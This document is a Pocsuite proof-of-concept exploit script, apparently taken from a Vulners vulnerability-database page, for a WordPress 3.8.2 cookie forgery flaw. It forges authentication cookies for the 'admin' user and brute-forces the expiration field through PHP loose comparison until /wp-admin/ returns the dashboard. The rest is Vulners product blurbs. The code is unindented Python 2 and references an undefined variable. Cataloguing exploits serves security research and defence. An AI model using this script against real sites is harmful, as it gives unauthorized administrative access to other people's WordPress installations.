#!/usr/bin/env python
# coding: utf-8
import md5
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class WordPress_Cookie_Forgery(POCBase):
vulID = '89538' # ssvid
version = '1.0'
author = ['anonymous']
vulDate = '2013-12-03'
createDate = '2015-11-03'
updateDate = '2015-11-03'
references = ['http://www.sebug.net/vuldb/ssvid-89538']
name = 'WordPress 3.8.2 cookie 伪造漏洞'
appPowerLink = 'http://wordpress.org/'
appName = 'WordPress'
appVersion = '3.8.2'
vulType = 'Unauthorized access'
desc = '''
当PHP在进行 == , != 等非严格匹配的情况下,会按照值的实际情况,进行强制转换。
'''
samples = ['']
def _attack(self):
return self._verify()
def _verify(self):
result = {}
admin_username = 'admin'
host = self.url
m1 = md5.new()
m1.update(host)
host_md5 = m1.hexdigest()
url = '%s/wp-admin/' % self.url
i = 1500000000
while i<1600000000:
cookie = {'wordpress_' + host_md5 : admin_username + '|' + str(i) + '|' + '0;'}
response = req.get(url , cookies = cookie).content
if '我们准备了几个链接供您开始' in response:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
print cookies
break
i = i + 1
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(WordPress_Cookie_Forgery)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation